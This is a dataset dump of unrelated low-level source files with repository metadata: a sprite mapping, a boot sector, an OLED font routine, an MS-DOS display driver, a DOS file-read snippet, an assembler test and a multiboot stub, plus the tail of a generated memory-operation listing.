'AVXalign': False, 'congruent': 4, 'size': 4, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': True, 'congruent': 11, 'size': 32, 'same': True, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 4, 'size': 16, 'same': True, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 6, 'size': 32, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 11, 'size': 8, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 11, 'size': 32, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 11, 'size': 1, 'same': True, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 1, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 2, 'size': 1, 'same': False, 'NT': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 2, 'size': 8, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 5, 'size': 8, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
34.004184
2,999
0.657069
105930dc3b49cc10f91c0c01db5871b7b0ffe29f
1,270
asm
Assembly
General/Sprites/Iwamodoki/Map - Iwamodoki S3.asm
NatsumiFox/AMPS-Sonic-3-Knuckles
af951b39f0ca103a905d7492448ac5245a2e8104
[ "Apache-2.0" ]
5
2021-07-09T08:17:56.000Z
2022-02-27T19:57:47.000Z
General/Sprites/Iwamodoki/Map - Iwamodoki S3.asm
NatsumiFox/AMPS-Sonic-3-Knuckles
af951b39f0ca103a905d7492448ac5245a2e8104
[ "Apache-2.0" ]
null
null
null
General/Sprites/Iwamodoki/Map - Iwamodoki S3.asm
NatsumiFox/AMPS-Sonic-3-Knuckles
af951b39f0ca103a905d7492448ac5245a2e8104
[ "Apache-2.0" ]
null
null
null
dc.w word_1614E2-Map_Iwamodoki dc.w word_1614EA-Map_Iwamodoki dc.w word_1614FE-Map_Iwamodoki dc.w word_161512-Map_Iwamodoki dc.w word_161526-Map_Iwamodoki dc.w word_16153A-Map_Iwamodoki dc.w word_16154E-Map_Iwamodoki dc.w word_161556-Map_Iwamodoki dc.w word_16155E-Map_Iwamodoki dc.w word_161566-Map_Iwamodoki word_1614E2: dc.w 1 dc.b $F4, $A, $60, 0, $FF, $F4 word_1614EA: dc.w 3 dc.b 4, 0, $20, $1B, $FF, $F8 dc.b 4, 0, $28, $1B, 0, 0 dc.b $F4, $A, $60, 9, $FF, $F4 word_1614FE: dc.w 3 dc.b $FD, 5, $20, $1C, $FF, $F0 dc.b $FD, 5, $28, $1C, 0, 0 dc.b $F4, $A, $60, $12, $FF, $F4 word_161512: dc.w 3 dc.b $FD, 5, $20, $20, $FF, $F0 dc.b $FD, 5, $28, $20, 0, 0 dc.b $F4, $A, $60, $12, $FF, $F4 word_161526: dc.w 3 dc.b $FD, 5, $20, $24, $FF, $F0 dc.b $FD, 5, $28, $24, 0, 0 dc.b $F4, $A, $60, $12, $FF, $F4 word_16153A: dc.w 3 dc.b $FD, 5, $20, $28, $FF, $F0 dc.b $FD, 5, $28, $28, 0, 0 dc.b $F4, $A, $60, $12, $FF, $F4 word_16154E: dc.w 1 dc.b $FC, 4, $60, $2C, $FF, $F8 word_161556: dc.w 1 dc.b $FC, 0, $60, $2E, $FF, $FC word_16155E: dc.w 1 dc.b $FC, 4, 0, $2F, $FF, $F8 word_161566: dc.w 1 dc.b $FC, 0, 0, $31, $FF, $FC
30.97561
36
0.538583
8c0cbc9c8ffc0a1c3d1bdc93cedcb222c10e9bf1
309
asm
Assembly
src/boot_sect_main.asm
thinkreed/tinyos
1dbfe7fae0028bdaa3b5c30970bce8716484c949
[ "MIT" ]
null
null
null
src/boot_sect_main.asm
thinkreed/tinyos
1dbfe7fae0028bdaa3b5c30970bce8716484c949
[ "MIT" ]
null
null
null
src/boot_sect_main.asm
thinkreed/tinyos
1dbfe7fae0028bdaa3b5c30970bce8716484c949
[ "MIT" ]
null
null
null
[org 0x7c00] mov bx, HELLO call print call print_nl mov bx, GOODBYE call print call print_nl mov dx, 0x12fe call print_hex jmp $ %include "src/boot_sect_print.asm" %include "src/boot_sect_print_hex.asm" HELLO: db 'Hello, World', 0 GOODBYE: db 'Goodbye', 0 times 510-($-$$) db 0 dw 0xaa55
9.967742
38
0.692557
2b4fed312719975f1956966b54b009c0ec2c506c
2,175
asm
Assembly
liboled/c/sdcc_iy/font/oled_font8_set_xy.asm
juzzas/oled_demos
fa35027bd379a4fdce0527af67fdaca5b614788e
[ "MIT" ]
1
2021-09-26T15:34:09.000Z
2021-09-26T15:34:09.000Z
liboled/c/sdcc_iy/font/oled_font8_set_xy.asm
juzzas/oled_demos
fa35027bd379a4fdce0527af67fdaca5b614788e
[ "MIT" ]
null
null
null
liboled/c/sdcc_iy/font/oled_font8_set_xy.asm
juzzas/oled_demos
fa35027bd379a4fdce0527af67fdaca5b614788e
[ "MIT" ]
null
null
null
; copyright 2021 justin skists ; ; permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated ; documentation files (the "software"), to deal in the software without restriction, including without limitation the ; rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the software, and to permit ; persons to whom the software is furnished to do so, subject to the following conditions: ; ; the above copyright notice and this permission notice shall be included in all copies or substantial portions of the ; software. ; ; the software is provided "as is", without warranty of any kind, express or implied, including but not limited to the ; warranties of merchantability, fitness for a particular purpose and noninfringement. in no event shall the authors or ; copyright holders be liable for any claim, damages or other liability, whether in an action of contract, tort or ; otherwise, arising from, out of or in connection with the software or the use or other dealings in the software. ; extern void oled_font8_set_rc(struct oled_font8_context *context, uint8_t row, uint8_t column) __z88dk_callee; DEFC OLED_WIDTH = 128 SECTION code_user PUBLIC _oled_font8_set_xy _oled_font8_set_xy: POP AF ; return address POP IY ; arg1 - context POP BC ; arg2 - co-ordinates (B = Y, C = X) PUSH AF ; return address back on stack after clearing ; struct oled_font8_context ; row offset? LD A, B AND 0x07 LD (IY + 4), A ; find row SRL B SRL B SRL B ; put buffer base ptr in HL LD L, (IY + 0) LD H, (IY + 1) ; add C to HL LD A, C ADD A, L ; A = A+L LD L, A ; L = A+L ADC A, H ; A = A+L+H+carry SUB L ; A = H+carry LD H, A ; H = H+carry ; add 128 for each row LD DE, OLED_WIDTH LD A, B loop_add: OR A JR Z, skip_add ADD HL, DE DEC A JR loop_add skip_add: LD (IY + 2), L LD (IY + 3), H RET
29
120
0.637241
2410f4434f12ecc4f57a7d8b47136ad663f8dd82
11,450
asm
Assembly
45/beef/drv/csd/src/update1.asm
minblock/msdos
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
[ "Apache-2.0" ]
null
null
null
45/beef/drv/csd/src/update1.asm
minblock/msdos
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
[ "Apache-2.0" ]
null
null
null
45/beef/drv/csd/src/update1.asm
minblock/msdos
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
[ "Apache-2.0" ]
null
null
null
;* included in: ;* tandy, ibmcvt NonStandard FvmGetCur NonStandard ModeGetCur NonStandard FInitCsd NonStandard DoUpdateCsd ;********** FvmGetCur ********** ;* entry: DS:DI => driver data ;* * if first time called, identify the current screen and set fvmCur ;* * subsequent calls will return fvmCur ;* * After this call: fvmCur is initialized ;* exit: AL == fvm for current screen (0 => no supported screen found) ;* AH == monitor cProc FvmGetCur, <NEAR, PUBLIC, ATOMIC>, <DS> cBegin FvmGetCur AssertEQ di,OFF_lpwDataCsd mov ax,-1 mov [di].fvmCurAdap,al mov [di].fvmCurDisp,ah cEnd FvmGetCur ;********** ModeGetCur ********* ;* entry: n/a ;* * get current machine mode ;* exit: al = mode, ah = ayMac (or 0 if unknown) cProc ModeGetCur, <NEAR, PUBLIC, ATOMIC>, <ES> cBegin ModeGetCur push bx mov ah,0fh int 10h ;* get current state, return al = mode and al,7Fh ;* mask off clear video buffer bit. pop bx mov ah,25 ;default cEnd ModeGetCur ;********** FInitCsd ********** ;* entry: ;* pinch = near pointer to INCH structure to fill ;* * Initialize the screen to the given mode ;* exit: AX != 0 if ok cProc FInitCsd, <FAR, PUBLIC, ATOMIC>, <ds,di> parmDP pinst parmDP pinch localB modeCur cBegin FInitCsd mov di,OFF_lpwDataCsd ;* Data in data segment ;* * save old mode cCall ModeGetCur ;* al = mode, ah = ayMac mov modeCur,al ;* current mode mov bx,pinst cmp ds:[bx].ayMacInst,ah je @F ;* same resolution mov modeCur,0 ;* cause mode reset @@: ;* * set mode mov [di].pinstDrv,bx mov bx,ds:[bx].pdmInst ;* CS:BX => DM info ;* * copy mode info into driver globals mov ax,cs:[bx].vparmCursOnDm mov [di].vparmCursOn,ax mov [di].vparmCursSize,ax mov ax,cs:[bx].wExtraDm mov [di].wExtra,ax mov al,cs:[bx].modeDm cmp al,modeCur jne @F jmp finitdone ;same mode, no reset @@: xor ah,ah ;* set mode ;* REVIEW: always clear RGEN ?? mov al,cs:[bx].modeDm int 10h mov ax,40H mov es,ax mov al,cs:[bx].ayMacDm dec al ; rows - 1 mov byte ptr es:[0084H],al ;* update BIOS rows finitdone: test cs:[bx].finstDm,finstGraphics jz @F mov [di].SEG_lpbFont,segROM ;load PC ROM Font mov [di].OFF_lpbFont,0FA6Eh mov [di].ayBox,8 jmp short exitF @@: ;* * normally the INCH array would be copied (but since it is already ;* * setup in DATA just leave it alone). ;* * Do other diddling cCall DiddleBlinkBit exitF: mov ax,sp ;* success cEnd FInitCsd ;********** DoUpdateCsd ********** ;* entry: ;* parameters just like PrepUpdateCsd ;* * after primary buffer has been updated ;* * For BIOS version -- send to screen ;* * for Kanji -- parse for DBCS boundaries (OAX) ;* exit: n/a cProc DoUpdateCsd,<FAR, PUBLIC, ATOMIC>, <DS, ES, SI, DI> parmB ayLine parmB axFirst parmB dax ;* will never be 0 parmW offFirst parmW fRestoreDbcs ;* => restore DBCS 1/2 characters localB axCurs localB axCurrent localB flastattr ;check repeat attribute localB ifgd ;needed for mode A (640x200x4) localB ibkgd localB curattr localW wTemp localV LocalChar,8 ;storage of char bit map for ffont mode localB iMode cBegin DoUpdateCsd cmp dax,0 ja DoUpdateChar jmp end_update DoUpdateChar: mov di,OFF_lpwDataCsd ;* Data in data segment mov bx,[di].pinstDrv test ss:[bx].finstInst,finstGraphics ;graphics text 8x14 jnz graf_update jmp done_graf_update graf_update: mov ax,[di].posCurs ;for cursor drawing mov axCurs,-1 mov axCurrent,0 cmp byte ptr [di].fCurs,0 ;cursor on ? je NoCursUpdate cmp ah,ayLine ;check if cursor on ayLine jne NoCursUpdate cmp al,axFirst ;check if cursor outside axFirst jb NoCursUpdate mov axCurs,al ;need to update cursor mov al,axFirst mov axCurrent,al NoCursUpdate: mov si,ds:[bx].pdmInst mov dl,cs:[si].modeDm ;save video mode in dl mov iMode,dl mov ds,ds:[bx].psPrimInst ;* DS:SI => primary buffer ;* * DS:SI => start character in primary buffer ;* * SS:BX => INST info ;* * SS:DI => Driver data ;***** Graphics Text **** ;* * ;* * mov flastattr,0 ;initialize with black:black mov cx,ss:[di].ayBox shr cx,1 ;memory interleave addressing xor ax,ax ;calculate start of screen address mov al,ayLine mul cx mov cx,80 mul cx xor cx,cx mov cl,axFirst IFDEF TANDYCSD cmp iMode,0Ah jne @F shl cx,1 ;Tandy's 4-color mode, 2 bytes/char @@: ENDIF add ax,cx ;ax = ayLine x 80 x ayBox + axFirst mov di,ax ;point to video buffer xor cx,cx mov cl,dax ;no. of char to be updated mov si,offFirst ;* 640x200x2(x4) graphics out_next_char1: lodsw ;load character+attribute mov curattr,ah ;save color attribute push cx mov wTemp,di ;save di mov di,OFF_lpwDataCsd mov cx,ss:[di].ayBox ;calculate character table address push ds ;save pointer to primary buffer push si mov si,ss:[di].OFF_lpbFont ;default mov ds,ss:[di].SEG_lpbFont mov dx,ax ;save char + attribute cmp al,80h jb first128 ;use extend font (128 - 255) push cs pop ds mov si,drvOffset rgbCGAExFont8x8 ;see cga8x8.inc sub al,80h first128: xor ah,ah mul cl add si,ax ;ds:[si] -> char bit map mov ax,ss mov es,ax lea di,LocalChar ;es:[di] -> local storage rep movsb ;copy char bit map into local area mov di,OFF_lpwDataCsd ;restore points mov cx,ss:[di].ayBox test ss:[bx].finstInst,finstMonochrome ;Test for mono jz @F cmp curattr,70H ;highlighting ? jne @F lea si,LocalChar loopnot: not byte ptr ss:[si] inc si loop loopnot mov cx,ss:[di].ayBox @@: mov ds,ax lea si,LocalChar cmp ss:[bx].psSecInst,0 ;is sec. buffer allocated ? je notfont8 test ss:[bx].finstInst,finstFont ;ffont mode ? jz notfont8 mov ax,dx ;save char pop di ;si -> di push di mov es,ss:[bx].psSecInst ;es:[di] => ffont buffer mov dx,es:[di-2] ;dx = ffont word or dl,dl ;normal ? jz notfont8 cmp al,' ' ;check spaces jne notspace1 test dl,ffontUnderline or ffontDoubleUnderline or ffontStrikeThrough or ffontOrCharacter jz notfont8 notspace1: cCall ChrisPFont mov di,OFF_lpwDataCsd ;restore points mov cx,ss:[di].ayBox notfont8: mov al,axCurrent ;cursor position ? cmp al,axCurs jne CursOff1 mov di,OFF_lpwDataCsd push si mov cx,ss:[di].vparmCursOn xchg ch,cl xor ch,ch add si,cx mov cx,ss:[di].vparmCursOn sub cl,ch xor ch,ch ;cx = thickness of the cursor outCurs1: ;display the cursor not byte ptr [si] inc si loop outCurs1 pop si mov di,OFF_lpwDataCsd ;restore points mov cx,ss:[di].ayBox CursOff1: IFDEF TANDYCSD mov dh,curattr cmp dh,flastattr ;same attr ? je @F mov flastattr,dh ;update attribute mov dl,curattr mov al,dl ;al = foreground and al,03h mov cl,4 shr dl,cl ;dl = background value and dl,03h mov ifgd,al mov ibkgd,dl mov di,OFF_lpwDataCsd ;restore points mov cx,ss:[di].ayBox @@: ;* same attribute ENDIF mov ax,0B800h ;CGA video segment mov es,ax mov di,wTemp ;restore di IFDEF TANDYCSD cmp iMode,0Ah jne NotMode0Ah ;;;4-color graphics mode push bx out_1_byte: lodsb ;al=bit pattern mov bl,al ;fgd = 1 mov dl,ifgd and dl,1 jnz @F not bl @@: mov bh,bl cmp ifgd,1 jb @F cmp ifgd,2 ja @F not bh @@: mov ah,al and bx,ax ;bkgd = 00 (black) push bx ;save fgd pattern not al mov bl,al ;fgd = 1 mov dl,ibkgd and dl,1 jnz @F not bl @@: mov bh,bl cmp ibkgd,1 jb @F cmp ibkgd,2 ja @F not bh @@: mov ah,al and bx,ax ;fgd = 00 (black) pop ax ;restore fgd pattern or ax,bx ;merge fgd & bkgd stosw ;update one line add di,2000h-2 ;go to next line jns @F add di,-8000h+160 @@: loop out_1_byte pop bx mov di,wTemp inc di ;next char inc di ;2 bytes/char jmp NextChar NotMode0Ah: ENDIF ;;;mono graphics mode mov ax,1FFFh mov dx,79-2000h out_one_byte: ;output the character movsb add di,ax xchg ax,dx loop out_one_byte mov di,wTemp inc di ;next char NextChar: inc axCurrent ;bump update position pop si pop ds pop cx ;restore dax dec cx jz out_done1 jmp out_next_char1 out_done1: done_graf_update: IFDEF KANJI ;* * For the OAX, we parse what we have printed and set the attribute ;* * byte to 0 for the second byte of double byte characters. cmp fRestoreDbcs,0 jne end_update mov si,offFirst xor cx,cx mov cl,dax ;* # of bytes loop_parse_dbcs: lodsw ;* get char(al) + attribute(ah) JmpNotDbc parse_single ;* * second byte follows inc si ;* skip 2nd char mov byte ptr ds:[si],0 ;* clear attrib inc si AssertNE cx,1 ;* must be enough dec cx parse_single: loop loop_parse_dbcs ENDIF ;KANJI end_update: cEnd DoUpdateCsd include cga8x8.inc ; extend font (128 - 255) NonStandard BltArcCsd ;********** BltArcCsd ********** ;* * CSD entry point (see documentation for interface) ;* entry : axSrc, aySrc : upper left of source ;* axDest, ayDest : upper left of destination ;* dax, day : shift amount ;* * Move a rectangle from one portion of the screen to another. ;* exit : n/a cProc BltArcCsd,<FAR, PUBLIC, ATOMIC>, <SI,DI,DS> parmB axDest parmB ayDest parmB dax parmB day parmB axSrc parmB aySrc localW cRows cBegin BltArcCsd mov di,OFF_lpwDataCsd ;* Data in data segment mov bx,[di].pinstDrv ;* * SS:BX => INST info ;* * SS:DI => Driver data ;set up Src pointer si mov cx,ss:[di].ayBox shr cx,1 ;memory interleave mov al,80 ;assume 80 columns (IBM) mul cl ; mov bx,ax ;bx = 80 * charHeight mov cl,aySrc mul cx mov cl,axSrc add ax,cx ;ax = ay x 80 x Height + ax mov si,ax ;si points to starting byte Src ;set up Dest pointer di ;assume (Scroll down) Hi -> Lo memory mov ax,bx mov cl,ayDest mul cx mov cl,axDest add ax,cx mov cx,ss:[di].ayBox ;for later use mov di,ax mov al,day mul cl ;ax = ayBox * day mov cRows,ax ;total scan rows needed to be blt mov cl,ayDest cmp cl,aySrc jb fwd ja bkwd ;ayDest = aySrc mov cl,axDest cmp cl,axSrc jb fwd bkwd: ;have to blt backward (Lo -> Hi memory) ;(Scroll up) shr ax,1 dec ax mov cx,80 mul cx mov cl,dax dec cx add ax,cx ;ax = block offset add ax,2000h ;start blt from odd line add di,ax ;si, di point to end of block add si,ax std ;set direction flag fwd: mov ax,0B800h mov ds,ax ;ds,es point to video buffer mov es,ax mov cx,cRows Blt1: mov ax,si mov bx,di mov dx,cx ; push si ; push di ; push cx xor ch,ch mov cl,dax rep movsb ;load latches/store video memory ; pop cx ; pop di ; pop si mov cx,dx mov di,bx mov si,ax cmp di,si jb bf ;blt backward cmp si,2000h jb @F mov dx,-2000h jmp short Blt2 @@: mov dx,2000h - 80 jmp short Blt2 bf: ;blt forward cmp si,2000h jb @F mov dx,-2000h + 80 jmp short Blt2 @@: mov dx,2000h Blt2: add si,dx add di,dx loop Blt1 cld ;clear direction flag cEnd BltArcCsd NonStandard GetCharMapCsd ;********** GetCharMapCsd ********** ;* entry: pinft, ch, pbitmap ;* * copy character bit map into buffer cProc GetCharMapCsd, <FAR, ATOMIC, PUBLIC>, <DS,SI,DI> parmDP pinft parmB char parmDP pbitmap cBegin GetCharMapCsd mov di,pinft ;* ds:di => INFT xor ch,ch mov cl,ds:[di].dyCharInft mov al,char cmp al,128 jb @F sub al,128 mov dx,cs mov ds,dx mov si,drvOffset rgbCGAExFont8x8 ;see cga8x8.inc jmp short RetFonts @@: mov dx,0F000h mov ds,dx mov si,0FA6Eh RetFonts: mul cl add si,ax ;ds:si => character bit map mov ax,ss mov es,ax mov di,pbitmap ;es:di => destination rep movsb cEnd GetCharMapCsd 
19.243697
89
0.675459
7019c9f1c3a82e8e671490515a0c3a605998e2ec
208
asm
Assembly
tests/exec/rep/rep.asm
ykskb/dax86
d7c90afb4a306f04bd840da2b32faedec01bef93
[ "MIT" ]
12
2020-09-17T13:33:24.000Z
2022-03-13T21:48:52.000Z
tests/exec/rep/rep.asm
ykusakabe/dax86
d7c90afb4a306f04bd840da2b32faedec01bef93
[ "MIT" ]
2
2020-07-03T03:12:01.000Z
2021-06-11T00:31:19.000Z
tests/exec/rep/rep.asm
ykusakabe/dax86
d7c90afb4a306f04bd840da2b32faedec01bef93
[ "MIT" ]
5
2020-07-04T16:59:29.000Z
2021-11-26T17:14:07.000Z
; only for test at moment. ; rep doesn't work with in al, dx (EC) instruction ; todo: replace with supported instructions. BITS 32 org 0x7c00 mov ecx, 5 mov edx, 0x03f8 rep in al, dx jmp 0
23.111111
50
0.663462
60a893b32eb00618c3b266b8e71ac70aacc1c9f8
507
asm
Assembly
pkgs/tools/yasm/src/modules/objfmts/elf/tests/gas64/elf_gas64_curpos.asm
manggoguy/parsec-modified
d14edfb62795805c84a4280d67b50cca175b95af
[ "BSD-3-Clause" ]
2,151
2020-04-18T07:31:17.000Z
2022-03-31T08:39:18.000Z
pkgs/tools/yasm/src/modules/objfmts/elf/tests/gas64/elf_gas64_curpos.asm
manggoguy/parsec-modified
d14edfb62795805c84a4280d67b50cca175b95af
[ "BSD-3-Clause" ]
395
2020-04-18T08:22:18.000Z
2021-12-08T13:04:49.000Z
pkgs/tools/yasm/src/modules/objfmts/elf/tests/gas64/elf_gas64_curpos.asm
manggoguy/parsec-modified
d14edfb62795805c84a4280d67b50cca175b95af
[ "BSD-3-Clause" ]
338
2020-04-18T08:03:10.000Z
2022-03-29T12:33:22.000Z
.globl bar .globl foo .section .bar bar: .4byte foo-. .4byte baz-. call foo call baz foo: .section .data baz: .4byte foo-. #.4byte .-foo # illegal .4byte baz-. .4byte .-baz .4byte foo+4-. # with constant .4byte .-baz+foo+4-. # both local and cross-segment (legal) #.4byte baz+foo+4-.-. # ditto, slightly different - GAS gets confused on this #.4byte (bar-.)+(foo-.) # illegal (too many cross-segment) .4byte baz-.+baz-. # two from same segment .section .text movl $5, foo-. movl $(foo-.), %eax call foo
18.107143
77
0.658777
8b46d221de127e3b57f62462a650f94b8565ccb3
620
asm
Assembly
boot.asm
SuperGod/bootgo
f58843698a26b2c9863c7d927265466d8962d0a5
[ "MIT" ]
1
2019-09-15T18:48:22.000Z
2019-09-15T18:48:22.000Z
boot.asm
SuperGod/bootgo
f58843698a26b2c9863c7d927265466d8962d0a5
[ "MIT" ]
null
null
null
boot.asm
SuperGod/bootgo
f58843698a26b2c9863c7d927265466d8962d0a5
[ "MIT" ]
1
2019-09-15T12:51:12.000Z
2019-09-15T12:51:12.000Z
section .data ALIGNED equ 1<<0 MEMINFO equ 1<<1 VIDEOINFO equ 1<<2 MODETYPE equ 1 WIDTH equ 320 HEIGHT equ 200 DEPTH equ 8 MAGIC equ 0x1BADB002 FLAGS equ ALIGNED|MEMINFO|VIDEOINFO CHECKSUM equ -(MAGIC + FLAGS) ZERO equ 0 section .multiboot align 4 dd MAGIC dd FLAGS dd CHECKSUM dd ZERO dd ZERO dd ZERO dd ZERO dd ZERO dd MODETYPE dd WIDTH dd HEIGHT dd DEPTH section .boot_stack align 4 stack_bottom: resb 16384 stack_top: section .text global _start _start: extern bootgo.kernel.Main push ebx push eax call bootgo.kernel.Main cli .hang: hlt jmp .hang
12.916667
37
0.7
6c873ed21d0e6d7f8bb490b30c1a6c7daf0ea988
586
asm
Assembly
code_snippets/file/read.asm
smirzaei/systems-programming-class
f63c9ccc5305a26a0388e6cb6b374cb93a17a30c
[ "MIT" ]
null
null
null
code_snippets/file/read.asm
smirzaei/systems-programming-class
f63c9ccc5305a26a0388e6cb6b374cb93a17a30c
[ "MIT" ]
null
null
null
code_snippets/file/read.asm
smirzaei/systems-programming-class
f63c9ccc5305a26a0388e6cb6b374cb93a17a30c
[ "MIT" ]
null
null
null
; Stack stk segment dw 64 dup(?) stk ends ; Data dts segment f_handle dw ? buffer db 20 dup(?) dts ends ; Code cds segment assume cs:cds,ss:stk,ds:dts main proc far ; Read file mov ah,3fh mov bx,f_handle mov dx,offset buffer mov cx,20 ; number of bytes to read from the file int 21h ; CF = 0 if everything is ok. CF = 1 if error (AX = err code) jnc file_read_ok exit: ; terminate the program mov ah,4ch int 21h main endp cds ends end main
15.421053
77
0.546075
cafd981d522ba41c43422c8011503a386152224a
202
asm
Assembly
program/branch.asm
doowzs/BuggyOS
4138261de7b25bd13ab7d343f3492a4e26939ae3
[ "Naumen", "Condor-1.1", "MS-PL" ]
7
2019-01-02T15:30:10.000Z
2020-12-10T20:15:57.000Z
program/branch.asm
doowzs/BuggyOS
4138261de7b25bd13ab7d343f3492a4e26939ae3
[ "Naumen", "Condor-1.1", "MS-PL" ]
null
null
null
program/branch.asm
doowzs/BuggyOS
4138261de7b25bd13ab7d343f3492a4e26939ae3
[ "Naumen", "Condor-1.1", "MS-PL" ]
4
2019-07-18T13:13:01.000Z
2020-12-14T02:41:34.000Z
xor $v0, $v0, $v0 xor $v1, $v1, $v1 addi $v1, $v1, 5 loop: addi $v0, $v0, 1 beq $v0, $v1, fin j loop fin: xor $v0, $v0, $v0 loop2: addi $v0, $v0, 1 bne $v0, $v1, loop2 j fin2 fin2: xor $v0, $v0, $v0
10.631579
19
0.549505
a71461cc7215365989010881011c7c1c975dec94
913
asm
Assembly
oeis/229/A229506.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/229/A229506.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/229/A229506.asm
